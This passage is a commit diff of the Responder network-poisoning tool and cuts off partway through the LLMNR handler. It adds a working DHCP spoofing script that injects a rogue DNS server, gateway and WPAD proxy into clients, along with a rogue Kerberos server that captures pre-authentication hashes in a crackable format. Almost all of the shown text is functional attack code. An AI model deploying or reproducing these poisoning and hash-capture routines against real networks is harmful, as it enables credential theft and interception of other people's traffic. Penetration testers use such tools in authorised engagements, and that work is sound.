initial commit

CHANGELOG

@@ -1,4 +1,5 @@
 ChangeLog Responder 2.0:
+- Added: MDNS Poisoner.
 - Added: -F command line switch to force NTLM authentication on PAC file retrieval.
 - Added: Ability to inject custom HTML in HTTP responses.
 - Added: New WPAD proxy server. Enabled by default.

DHCP.py

@@ -0,0 +1,325 @@
+#! /usr/bin/env python
+# This utility is part of NBT-NS/LLMNR Responder
+# Created by Laurent Gaffie
+# Copyright (C) 2014 Trustwave Holdings, Inc.
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
+import sys,struct,socket,re,optparse
+from odict import OrderedDict
+from socket import inet_aton, inet_ntoa
+
+
+parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1',
+                               prog=sys.argv[0],
+                               )
+parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP")
+
+parser.add_option('-d', '--dnsname',action="store", help="DNS name to inject, if you don't want to inject a DNS server, provide the original one.", metavar="pwned.com", default="pwned.com",dest="DNSNAME")
+
+parser.add_option('-r', '--router',action="store", help="The ip address of the router or yours if you want to intercept traffic.", metavar="10.20.1.1",dest="RouterIP")
+
+parser.add_option('-p', '--primary',action="store", help="The ip address of the original primary DNS server or yours", metavar="10.20.1.10",dest="DNSIP")
+
+parser.add_option('-s', '--secondary',action="store", help="The ip address of the original secondary DNS server or yours", metavar="10.20.1.11",dest="DNSIP2")
+
+parser.add_option('-n', '--netmask',action="store", help="The netmask of this network", metavar="255.255.255.0", default="255.255.255.0", dest="Netmask")
+
+parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
+
+parser.add_option('-w', '--wpadserver',action="store", help="Your WPAD server, finish the string with '\\n'", metavar="\"http://wpadsrv/wpad.dat\\n\"", default="\n", dest="WPAD")
+
+parser.add_option('-S',action="store_true", help="Spoof the router ip address",dest="Spoof")
+
+parser.add_option('-R',action="store_true", help="Respond to DHCP Requests, inject linux clients (very noisy, this is sent on 255.255.255.255)", dest="Request")
+
+options, args = parser.parse_args()
+
+def ShowWelcome():
+    Message = 'DHCP INFORM Take Over 0.1\nAuthor: Laurent Gaffie\nPlease send bugs/comments/pcaps to: lgaffie@trustwave.com\nThis script will inject a new DNS/WPAD server to a Windows <= XP/2003 machine.\nTo inject a DNS server/domain/route on a linux box, use -R (noisy)'
+    print Message
+
+if options.OURIP is None:
+   print "\n\033[1m\033[31m-i mandatory option is missing, please provide your IP address.\033[0m\n"
+   parser.print_help()
+   exit(-1)
+
+if options.Interface is None:
+   print "\n\033[1m\033[31m-I mandatory option is missing, please provide an interface.\033[0m\n"
+   parser.print_help()
+   exit(-1)
+
+if options.RouterIP is None:
+   print "\n\033[1m\033[31m-r mandatory option is missing, please provide the router's IP.\033[0m\n"
+   parser.print_help()
+   exit(-1)
+
+if options.DNSIP is None:
+   print "\n\033[1m\033[31m-p mandatory option is missing, please provide the primary DNS server ip address or yours.\033[0m\n"
+   parser.print_help()
+   exit(-1)
+
+if options.DNSIP2 is None:
+   print "\n\033[1m\033[31m-s mandatory option is missing, please provide the secondary DNS server ip address or yours.\033[0m\n"
+   parser.print_help()
+   exit(-1)
+
+ShowWelcome()
+
+BCAST = "255.255.255.255"
+Interface = options.Interface
+OURIP = options.OURIP
+ROUTERIP = options.RouterIP
+NETMASK = options.Netmask
+DHCPSERVER = options.OURIP
+DNSIP = options.DNSIP
+DNSIP2 = options.DNSIP2
+DNSNAME = options.DNSNAME
+WPADSRV = options.WPAD
+Spoof = options.Spoof
+Request = options.Request
+
+if Spoof:
+   DHCPSERVER = ROUTERIP
+
+def SpoofIP(Spoof):
+    if Spoof:
+       return ROUTERIP
+    else:
+       return OURIP 
+   
+
+class Packet():
+    fields = OrderedDict([
+        ("data", ""),
+    ])
+    def __init__(self, **kw):
+        self.fields = OrderedDict(self.__class__.fields)
+        for k,v in kw.items():
+            if callable(v):
+                self.fields[k] = v(self.fields[k])
+            else:
+                self.fields[k] = v
+    def __str__(self):
+        return "".join(map(str, self.fields.values()))
+
+
+#####################################################################
+# Server Stuff
+#####################################################################
+
+class IPHead(Packet):
+    fields = OrderedDict([
+        ("Version",           "\x45"),
+        ("DiffServices",      "\x00"),
+        ("TotalLen",          "\x00\x00"),
+        ("Ident",             "\x00\x00"),
+        ("Flags",             "\x00\x00"),
+        ("TTL",               "\x40"),
+        ("Protocol",          "\x11"),
+        ("Checksum",          "\x00\x00"),
+        ("SrcIP",             ""),
+        ("DstIP",             ""),
+    ])
+
+class UDP(Packet):
+    fields = OrderedDict([
+        ("SrcPort",           "\x00\x43"),
+        ("DstPort",           "\x00\x44"),
+        ("Len",               "\x00\x00"),
+        ("Checksum",          "\x00\x00"),
+        ("Data",              "\x00\x00"),
+    ])
+
+    def calculate(self):
+        self.fields["Len"] = struct.pack(">h",len(str(self.fields["Data"]))+8)##include udp packet.
+
+class DHCPACK(Packet):
+    fields = OrderedDict([
+        ("MessType",          "\x02"),
+        ("HdwType",           "\x01"),
+        ("HdwLen",            "\x06"),
+        ("Hops",              "\x00"),
+        ("Tid",               "\x22\x1b\xe0\x1a"),
+        ("ElapsedSec",        "\x00\x00"),
+        ("BootpFlags",        "\x00\x00"),
+        ("ActualClientIP",    "\x00\x00\x00\x00"),
+        ("GiveClientIP",      "\x00\x00\x00\x00"),
+        ("NextServerIP",      "\x00\x00\x00\x00"),
+        ("RelayAgentIP",      "\x00\x00\x00\x00"),
+        ("ClientMac",         "\xb8\x76\x3f\xbd\xdd\x05"),
+        ("ClientMacPadding",  "\x00" *10),
+        ("ServerHostname",    "\x00" * 64),
+        ("BootFileName",      "\x00" * 128),
+        ("MagicCookie",       "\x63\x82\x53\x63"),
+        ("Op53",              "\x35\x01\x05"),    #Msgtype(ACK)
+        ("Op54",              "\x36"),
+        ("Op54Len",           "\x04"),
+        ("Op54Str",           ""),                #DHCP Server
+        ("Op51",              "\x33"),
+        ("Op51Len",           "\x04"),
+        ("Op51Str",           "\x00\x00\xff\xff"), #Lease time, 1 day.
+        ("Op1",               "\x01"),
+        ("Op1Len",            "\x04"),
+        ("Op1Str",            ""),                  #Netmask
+        ("Op15",              "\x0f"),
+        ("Op15Len",           "\x0e"),
+        ("Op15Str",           DNSNAME),             #DNS Name
+        ("Op3",               "\x03"),
+        ("Op3Len",            "\x04"),
+        ("Op3Str",            ""),                  #Router
+        ("Op6",               "\x06"),
+        ("Op6Len",            "\x08"),
+        ("Op6Str",            ""),                  #DNS Servers
+        ("Op252",              "\xfc"),
+        ("Op252Len",           "\x04"),
+        ("Op252Str",           WPADSRV),            #Wpad Server.
+        ("Op255",             "\xff"),
+
+    ])
+
+    def calculate(self):
+        self.fields["Op54Str"] = inet_aton(DHCPSERVER)
+        self.fields["Op1Str"] = inet_aton(NETMASK)
+        self.fields["Op3Str"] = inet_aton(ROUTERIP)
+        self.fields["Op6Str"] = inet_aton(DNSIP)+inet_aton(DNSIP2)
+        self.fields["Op15Len"] = struct.pack(">b",len(DNSNAME))
+        self.fields["Op252Len"] = struct.pack(">b",len(WPADSRV))
+
+class DHCPInformACK(Packet):
+    fields = OrderedDict([
+        ("MessType",          "\x02"),
+        ("HdwType",           "\x01"),
+        ("HdwLen",            "\x06"),
+        ("Hops",              "\x00"),
+        ("Tid",               "\x22\x1b\xe0\x1a"),
+        ("ElapsedSec",        "\x00\x00"),
+        ("BootpFlags",        "\x00\x00"),
+        ("ActualClientIP",    "\x00\x00\x00\x00"),
+        ("GiveClientIP",      "\x00\x00\x00\x00"),
+        ("NextServerIP",      "\x00\x00\x00\x00"),
+        ("RelayAgentIP",      "\x00\x00\x00\x00"),
+        ("ClientMac",         "\xb8\x76\x3f\xbd\xdd\x05"),
+        ("ClientMacPadding",  "\x00" *10),
+        ("ServerHostname",    "\x00" * 64),
+        ("BootFileName",      "\x00" * 128),
+        ("MagicCookie",       "\x63\x82\x53\x63"),
+        ("Op53",              "\x35\x01\x05"),      #Msgtype(ACK)
+        ("Op54",              "\x36"),
+        ("Op54Len",           "\x04"),
+        ("Op54Str",           ""),                  #DHCP Server
+        ("Op1",               "\x01"),
+        ("Op1Len",            "\x04"),
+        ("Op1Str",            ""),                  #Netmask
+        ("Op15",              "\x0f"),
+        ("Op15Len",           "\x0e"),
+        ("Op15Str",           DNSNAME),             #DNS Name
+        ("Op3",               "\x03"),
+        ("Op3Len",            "\x04"),
+        ("Op3Str",            ""),                  #Router
+        ("Op6",               "\x06"),
+        ("Op6Len",            "\x08"),
+        ("Op6Str",            ""),                  #DNS Servers
+        ("Op252",              "\xfc"),
+        ("Op252Len",           "\x04"),
+        ("Op252Str",           WPADSRV),            #Wpad Server.
+        ("Op255",             "\xff"),
+
+    ])
+
+    def calculate(self):
+        self.fields["Op54Str"] = inet_aton(DHCPSERVER)
+        self.fields["Op1Str"] = inet_aton(NETMASK)
+        self.fields["Op3Str"] = inet_aton(ROUTERIP)
+        self.fields["Op6Str"] = inet_aton(DNSIP)+inet_aton(DNSIP2)
+        self.fields["Op15Len"] = struct.pack(">b",len(DNSNAME))
+        self.fields["Op252Len"] = struct.pack(">b",len(WPADSRV))
+
+def ParseMac(data):
+    return '\nDst mac:%s SrcMac:%s'%(data[0][0:6].encode('hex'),data[0][6:12].encode('hex'))
+
+def IsUDP(data):
+    if data[0][23:24] == "\x11":
+       return True
+    if data[0][23:24] == "\x06":
+       return False
+
+def ParseSrcDSTAddr(data):
+     SrcIP = inet_ntoa(data[0][26:30])
+     DstIP = inet_ntoa(data[0][30:34])
+     SrcPort = struct.unpack('>H',data[0][34:36])[0]
+     DstPort = struct.unpack('>H',data[0][36:38])[0]
+     return SrcIP,SrcPort,DstIP,DstPort
+
+def FindIP(data):
+    IP = ''.join(re.findall('(?<=\x32\x04)[^EOF]*', data))
+    return ''.join(IP[0:4])
+    
+def ParseDHCPCode(data):
+    PTid = data[4:8]
+    Seconds = data[8:10]
+    CurrentIP = inet_ntoa(data[12:16])
+    RequestedIP = inet_ntoa(data[16:20])
+    MacAddr = data[28:34]
+    OpCode = data[242:243]
+    RequestIP = data[245:249]
+    if OpCode == "\x08":
+       i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=inet_aton(BCAST))
+       p = DHCPInformACK(Tid=PTid,ClientMac=MacAddr, ActualClientIP=inet_aton(CurrentIP), GiveClientIP=inet_aton("0.0.0.0"), NextServerIP=inet_aton("0.0.0.0"),RelayAgentIP=inet_aton("0.0.0.0"),BootpFlags="\x00\x00",ElapsedSec=Seconds)
+       p.calculate()
+       u = UDP(Data = p)
+       u.calculate()
+       for x in range(1):
+          SendDHCP(str(i)+str(u),(CurrentIP,68))
+       return 'DHCP Inform received, Current IP:%s Requested IP:%s Mac Address:%s Tid:%s'%(CurrentIP,RequestedIP,MacAddr.encode('hex'),PTid.encode('hex'))
+
+    if OpCode == "\x03":
+       if Request:
+          IP = FindIP(data)
+          if IP:
+             i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=inet_aton(BCAST))
+             p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x80\x00",ElapsedSec=Seconds)
+             p.calculate()
+             u = UDP(Data = p)
+             u.calculate()
+             for x in range(1):
+                SendDHCP(str(i)+str(u),("255.255.255.255",0))
+             return 'DHCP Request received, Current IP:%s Requested IP:%s Mac Address:%s Tid:%s'%(CurrentIP,RequestedIP,MacAddr.encode('hex'),PTid.encode('hex'))
+    else:
+       return False
+
+
+def SendDHCP(packet,Host):
+   Protocol = 0x0800
+   s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
+   s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
+   s.sendto(packet, Host)
+
+def SniffUDPMac():
+    s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
+    Protocol = 0x0800
+    s.bind((Interface, Protocol))
+    while True:
+       data = s.recvfrom(65535)
+       if IsUDP(data):
+          SrcIP,SrcPort,DstIP,DstPort =  ParseSrcDSTAddr(data)
+          if SrcPort == 67 or DstPort == 67:
+             Message = ParseDHCPCode(data[0][42:])
+             if Message:
+                print ParseMac(data)
+                print 'DHCP Packet:\nSource IP/Port : %s:%s Destination IP/Port: %s:%s'%(SrcIP,SrcPort,DstIP,DstPort)
+                print Message
+
+
+SniffUDPMac()
+

README.md

@@ -5,7 +5,7 @@ http://www.spiderlabs.com
 INTRODUCTION
 ============
 
-This tool is first an LLMNR and NBT-NS responder, it will answer to 
+This tool is first an LLMNR, NBT-NS and MDNS responder, it will answer to 
 *specific* NBT-NS (NetBIOS Name Service) queries based on their name 
 suffix (see: http://support.microsoft.com/kb/163409). By default, the
 tool will only answers to File Server Service request, which is for SMB.

Responder.conf

@@ -3,6 +3,7 @@
 ;Set these values to On or Off, so you can control which rogue authentication server is turned on.
 SQL = On
 SMB = On
+Kerberos = On
 FTP = On
 POP = On
 ;;Listen on 25/TCP, 587/TCP
@@ -19,9 +20,12 @@ Challenge = 1122334455667788
 ;Set this to change the default logging file 
 SessionLog = Responder-Session.log
 ;
-;Set this options with your in-scope targets. Example: RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
+;Set this option with your in-scope targets (default = All). Example: RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
 ;RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
 RespondTo =
+;Set this option with specific NBT-NS/LLMNR names to answer to (default = All). Example: RespondTo = WPAD,DEV,PROD,SQLINT
+;RespondTo = WPAD,DEV,PROD,SQLINT
+RespondToName =
 ;
 [HTTP Server]
 ;;

Responder.py

@@ -36,6 +36,8 @@ parser.add_option('-b', '--basic',action="store", help="Set this to On if you wa
 
 parser.add_option('-r', '--wredir',action="store", help="Set this to enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network (like classics 'nbns spoofer' will). Default value is therefore set to Off", metavar="Off",dest="Wredirect", choices=['On','on','off','Off'], default="Off")
 
+parser.add_option('-d', '--NBTNSdomain',action="store", help="Set this to enable answers for netbios domain suffix queries. Answering to domain will likely break stuff on the network (like classics 'nbns spoofer' will). Default value is therefore set to Off", metavar="Off",dest="NBTNSDomain", choices=['On','on','off','Off'], default="Off")
+
 parser.add_option('-f','--fingerprint', action="store", dest="Finger", help = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", metavar="Off", choices=['On','on','off','Off'], default="Off")
 
 parser.add_option('-w','--wpad', action="store", dest="WPAD_On_Off", help = "Set this to On or Off to start/stop the WPAD rogue proxy server. Default value is Off", metavar="On", choices=['On','on','off','Off'], default="Off")
@@ -48,7 +50,7 @@ parser.add_option('-v',action="store_true", help="More verbose",dest="Verbose")
 
 options, args = parser.parse_args()
 
-if options.OURIP is None and options.Analyse is None:
+if options.OURIP is None:
    print "-i mandatory option is missing\n"
    parser.print_help()
    exit(-1)
@@ -70,6 +72,7 @@ IMAP_On_Off = config.get('Responder Core', 'IMAP').upper()
 SMTP_On_Off = config.get('Responder Core', 'SMTP').upper()
 LDAP_On_Off = config.get('Responder Core', 'LDAP').upper()
 DNS_On_Off = config.get('Responder Core', 'DNS').upper()
+Krb_On_Off = config.get('Responder Core', 'Kerberos').upper()
 NumChal = config.get('Responder Core', 'Challenge')
 SessionLog = config.get('Responder Core', 'SessionLog')
 Exe_On_Off = config.get('HTTP Server', 'Serve-Exe').upper()
@@ -78,11 +81,14 @@ FILENAME = config.get('HTTP Server', 'Filename')
 WPAD_Script = config.get('HTTP Server', 'WPADScript')
 RespondTo = config.get('Responder Core', 'RespondTo').strip()
 RespondTo.split(",")
+RespondToName = config.get('Responder Core', 'RespondToName').strip()
+RespondToName.split(",")
 #Cli options.
 OURIP = options.OURIP
 LM_On_Off = options.LM_On_Off.upper()
 WPAD_On_Off = options.WPAD_On_Off.upper()
 Wredirect = options.Wredirect.upper()
+NBTNSDomain = options.NBTNSDomain.upper()
 Basic = options.Basic.upper()
 Finger_On_Off = options.Finger.upper()
 INTERFACE = options.INTERFACE
@@ -197,10 +203,10 @@ Challenge = ""
 for i in range(0,len(NumChal),2):
     Challenge += NumChal[i:i+2].decode("hex")
 
-Show_Help("[+]NBT-NS & LLMNR responder started\n[+]Loading Responder.conf File..\nGlobal Parameters set:\nResponder is bound to this interface:%s\nChallenge set is:%s\nWPAD Proxy Server is:%s\nWPAD script loaded:%s\nHTTP Server is:%s\nHTTPS Server is:%s\nSMB Server is:%s\nSMB LM support is set to:%s\nSQL Server is:%s\nFTP Server is:%s\nIMAP Server is:%s\nPOP3 Server is:%s\nSMTP Server is:%s\nDNS Server is:%s\nLDAP Server is:%s\nFingerPrint Module is:%s\nServing Executable via HTTP&WPAD is:%s\nAlways Serving a Specific File via HTTP&WPAD is:%s\n\n"%(BIND_TO_Interface, NumChal,WPAD_On_Off,WPAD_Script,On_Off,SSL_On_Off,SMB_On_Off,LM_On_Off,SQL_On_Off,FTP_On_Off,IMAP_On_Off,POP_On_Off,SMTP_On_Off,DNS_On_Off,LDAP_On_Off,Finger_On_Off,Exe_On_Off,Exec_Mode_On_Off))
+Show_Help("[+]NBT-NS, LLMNR & MDNS responder started\n[+]Loading Responder.conf File..\nGlobal Parameters set:\nResponder is bound to this interface:%s\nChallenge set is:%s\nWPAD Proxy Server is:%s\nWPAD script loaded:%s\nHTTP Server is:%s\nHTTPS Server is:%s\nSMB Server is:%s\nSMB LM support is:%s\nKerberos Server is:%s\nSQL Server is:%s\nFTP Server is:%s\nIMAP Server is:%s\nPOP3 Server is:%s\nSMTP Server is:%s\nDNS Server is:%s\nLDAP Server is:%s\nFingerPrint Module is:%s\nServing Executable via HTTP&WPAD is:%s\nAlways Serving a Specific File via HTTP&WPAD is:%s\n\n"%(BIND_TO_Interface, NumChal,WPAD_On_Off,WPAD_Script,On_Off,SSL_On_Off,SMB_On_Off,LM_On_Off,Krb_On_Off,SQL_On_Off,FTP_On_Off,IMAP_On_Off,POP_On_Off,SMTP_On_Off,DNS_On_Off,LDAP_On_Off,Finger_On_Off,Exe_On_Off,Exec_Mode_On_Off))
 
 if AnalyzeMode:
-   print '[+]Responder is in analyze mode. No NBT-NS/LLMNR requests will be poisoned.\n'
+   print '[+]Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.\n'
 
 #Packet class handling all packet generation (see odict.py).
 class Packet():
@@ -230,12 +236,25 @@ def RespondToSpecificHost(RespondTo):
     else:
        return False
 
+def RespondToSpecificName(RespondToName):
+    if len(RespondToName)>=1 and RespondToName != ['']:
+       return True
+    else:
+       return False
+
 def RespondToIPScope(RespondTo, ClientIp):
     if ClientIp in RespondTo:
        return True
     else:
        return False
 
+def RespondToNameScope(RespondToName, Name):
+    if Name in RespondToName:
+       return True
+    else:
+       return False
+
+
 ##################################################################################
 #NBT NS Stuff
 ##################################################################################
@@ -283,11 +302,18 @@ def NBT_NS_Role(data):
 def Validate_NBT_NS(data,Wredirect):
     if Analyze(AnalyzeMode):
        return False
+
     if NBT_NS_Role(data[43:46]) == "File Server Service.":
        return True
+
+    if NBTNSDomain == "ON":
+       if NBT_NS_Role(data[43:46]) == "Domain controller service. This name is a domain controller.":
+          return True
+
     if Wredirect == "ON":
        if NBT_NS_Role(data[43:46]) == "Workstation/Redirector Service.":
           return True
+
     else:
        return False
 
@@ -308,8 +334,7 @@ def Decode_Name(nbname):
 class NB(BaseRequestHandler):
 
     def handle(self):
-        request, socket = self.request
+        data, socket = self.request
-        data = request
         Name = Decode_Name(data[13:45])
 
         if Analyze(AnalyzeMode):
@@ -334,6 +359,7 @@ class NB(BaseRequestHandler):
            if RespondToIPScope(RespondTo, self.client_address[0]):
               if data[2:4] == "\x01\x10":
                  if Validate_NBT_NS(data,Wredirect):
+                    if RespondToSpecificName(RespondToName) == False:
                        buff = NBT_Ans()
                        buff.calculate(data)
                        for x in range(1):
@@ -353,12 +379,35 @@ class NB(BaseRequestHandler):
                              except Exception:
                                 logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
                                 pass
+                    if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
+                       buff = NBT_Ans()
+                       buff.calculate(data)
+                       for x in range(1):
+                          socket.sendto(str(buff), self.client_address)
+                          Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name)
+                          logging.warning(Message)
+                          if PrintLLMNRNBTNS(Log2Filename,Message):
+                             print Message
+                             logger2.warning(Message)
+                          if Is_Finger_On(Finger_On_Off):
+                             try:
+                                Finger = RunSmbFinger((self.client_address[0],445))
+                                print '[+] OsVersion is:%s'%(Finger[0])
+                                print '[+] ClientVersion is :%s'%(Finger[1])
+                                logging.warning('[+] OsVersion is:%s'%(Finger[0]))
+                                logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
+                             except Exception:
+                                logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
+                                pass
+                    else:
+                       pass
            else:
               pass
 
         else:
            if data[2:4] == "\x01\x10":
               if Validate_NBT_NS(data,Wredirect) and Analyze(AnalyzeMode) == False:
+                 if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
                     buff = NBT_Ans()
                     buff.calculate(data)
                     for x in range(1):
@@ -378,6 +427,28 @@ class NB(BaseRequestHandler):
                        except Exception:
                           logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
                           pass
+                 if RespondToSpecificName(RespondToName) == False:
+                    buff = NBT_Ans()
+                    buff.calculate(data)
+                    for x in range(1):
+                       socket.sendto(str(buff), self.client_address)
+                    Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name)
+                    logging.warning(Message)
+                    if PrintLLMNRNBTNS(Log2Filename,Message):
+                       print Message
+                       logger2.warning(Message)
+                    if Is_Finger_On(Finger_On_Off):
+                       try:
+                          Finger = RunSmbFinger((self.client_address[0],445))
+                          print '[+] OsVersion is:%s'%(Finger[0])
+                          print '[+] ClientVersion is :%s'%(Finger[1])
+                          logging.warning('[+] OsVersion is:%s'%(Finger[0]))
+                          logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
+                       except Exception:
+                          logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
+                          pass
+                 else:
+                    pass
 
 ##################################################################################
 #Browser Listener and Lanman Finger
@@ -740,7 +811,7 @@ class SMB1(BaseRequestHandler):
               if data[8:10] == "\x72\x00":
                 #Customize SMB answer.
                 head = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data))
-                t = SMBNegoAns(Dialect=Parse_Nego_Dialect(data))
+                t = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data))
                 t.calculate()
                 final = t 
                 packet0 = str(head)+str(final)
@@ -859,7 +930,132 @@ class SMB1LM(BaseRequestHandler):
 
         except Exception:
            self.request.close()
-           pass #no need to print errors..
+           pass
+
+
+##################################################################################
+#Kerberos Server
+##################################################################################
+def ParseMSKerbv5TCP(Data):
+   MsgType = Data[21:22]
+   EncType = Data[43:44]
+   MessageType = Data[32:33]
+   if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02":
+      if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33":
+         HashLen = struct.unpack('<b',Data[50:51])[0]
+         if HashLen == 54:
+            Hash = Data[53:105]
+            SwitchHash = Hash[16:]+Hash[0:16]
+            NameLen = struct.unpack('<b',Data[153:154])[0]
+            Name = Data[154:154+NameLen]
+            DomainLen = struct.unpack('<b',Data[154+NameLen+3:154+NameLen+4])[0]
+            Domain = Data[154+NameLen+4:154+NameLen+4+DomainLen]
+            BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
+            return BuildHash
+      if Data[44:48] == "\xa2\x36\x04\x34" or Data[44:48] == "\xa2\x35\x04\x33":
+         HashLen = struct.unpack('<b',Data[45:46])[0]
+         if HashLen == 53:
+            Hash = Data[48:99]
+            SwitchHash = Hash[16:]+Hash[0:16]
+            NameLen = struct.unpack('<b',Data[147:148])[0]
+            Name = Data[148:148+NameLen]
+            DomainLen = struct.unpack('<b',Data[148+NameLen+3:148+NameLen+4])[0]
+            Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen]
+            BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
+            return BuildHash
+         if HashLen == 54:
+            Hash = Data[53:105]
+            SwitchHash = Hash[16:]+Hash[0:16]
+            NameLen = struct.unpack('<b',Data[148:149])[0]
+            Name = Data[149:149+NameLen]
+            DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
+            Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
+            BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
+            return BuildHash
+
+      else:
+         Hash = Data[48:100]
+         SwitchHash = Hash[16:]+Hash[0:16]
+         NameLen = struct.unpack('<b',Data[148:149])[0]
+         Name = Data[149:149+NameLen]
+         DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
+         Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
+         BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
+         return BuildHash
+   else:
+      return False
+
+def ParseMSKerbv5UDP(Data):
+   MsgType = Data[17:18]
+   EncType = Data[39:40]
+   if MsgType == "\x0a" and EncType == "\x17":
+      if Data[40:44] == "\xa2\x36\x04\x34" or Data[40:44] == "\xa2\x35\x04\x33":
+         HashLen = struct.unpack('<b',Data[41:42])[0]
+         if HashLen == 54:
+            Hash = Data[44:96]
+            SwitchHash = Hash[16:]+Hash[0:16]
+            NameLen = struct.unpack('<b',Data[144:145])[0]
+            Name = Data[145:145+NameLen]
+            DomainLen = struct.unpack('<b',Data[145+NameLen+3:145+NameLen+4])[0]
+            Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen]
+            BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
+            return BuildHash
+         if HashLen == 53:
+            Hash = Data[44:95]
+            SwitchHash = Hash[16:]+Hash[0:16]
+            NameLen = struct.unpack('<b',Data[143:144])[0]
+            Name = Data[144:144+NameLen]
+            DomainLen = struct.unpack('<b',Data[144+NameLen+3:144+NameLen+4])[0]
+            Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen]
+            BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
+            return BuildHash
+
+
+      else:
+         Hash = Data[49:101]
+         SwitchHash = Hash[16:]+Hash[0:16]
+         NameLen = struct.unpack('<b',Data[149:150])[0]
+         Name = Data[150:150+NameLen]
+         DomainLen = struct.unpack('<b',Data[150+NameLen+3:150+NameLen+4])[0]
+         Domain = Data[150+NameLen+4:150+NameLen+4+DomainLen]
+         BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
+         return BuildHash
+   else:
+      return False
+
+class KerbTCP(BaseRequestHandler):
+
+    def handle(self):
+        try:
+           data = self.request.recv(1024)
+           KerbHash = ParseMSKerbv5TCP(data)
+           if KerbHash:
+              Outfile = os.path.join(ResponderPATH,"MSKerberos-Client-"+self.client_address[0]+".txt")
+              if PrintData(Outfile,KerbHash):
+                 print "[+]MSKerbv5 hash captured from : ", self.client_address[0]
+                 print "[+]MSKerbv5 complete hash is :", KerbHash
+                 Outfile = os.path.join(ResponderPATH,"MSKerberos-Client-"+self.client_address[0]+".txt")
+                 WriteData(Outfile,KerbHash, KerbHash)
+                 logging.warning('[+]MSKerbv5 complete hash is :%s'%(KerbHash)) 
+        except Exception:
+           raise
+
+class KerbUDP(BaseRequestHandler):
+
+    def handle(self):
+        try:
+           data, soc = self.request
+           KerbHash = ParseMSKerbv5UDP(data)
+           if KerbHash:
+              Outfile = os.path.join(ResponderPATH,"MSKerberos-Client-"+self.client_address[0]+".txt")
+              if PrintData(Outfile,KerbHash):
+                 print "[+]MSKerbv5 hash captured from : ", self.client_address[0]
+                 print "[+]MSKerbv5 complete hash is :", KerbHash
+                 Outfile = os.path.join(ResponderPATH,"MSKerberos-Client-"+self.client_address[0]+".txt")
+                 WriteData(Outfile,KerbHash, KerbHash)
+                 logging.warning('[+]MSKerbv5 complete hash is :%s'%(KerbHash)) 
+        except Exception:
+           raise
 
 ##################################################################################
 #SQL Stuff
@@ -1089,6 +1285,28 @@ class LLMNR(BaseRequestHandler):
                      if data[2:4] == "\x00\x00":
                         if Parse_IPV6_Addr(data):
                            Name = Parse_LLMNR_Name(data)
+                           if RespondToSpecificName(RespondToName) == False:
+                              buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
+                              buff.calculate()
+                              for x in range(1):
+                                 soc.sendto(str(buff), self.client_address)
+                              Message =  "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
+                              logging.warning(Message)
+                              if PrintLLMNRNBTNS(Log2Filename,Message):
+                                 print Message
+                                 logger2.warning(Message)
+                              if Is_Finger_On(Finger_On_Off):
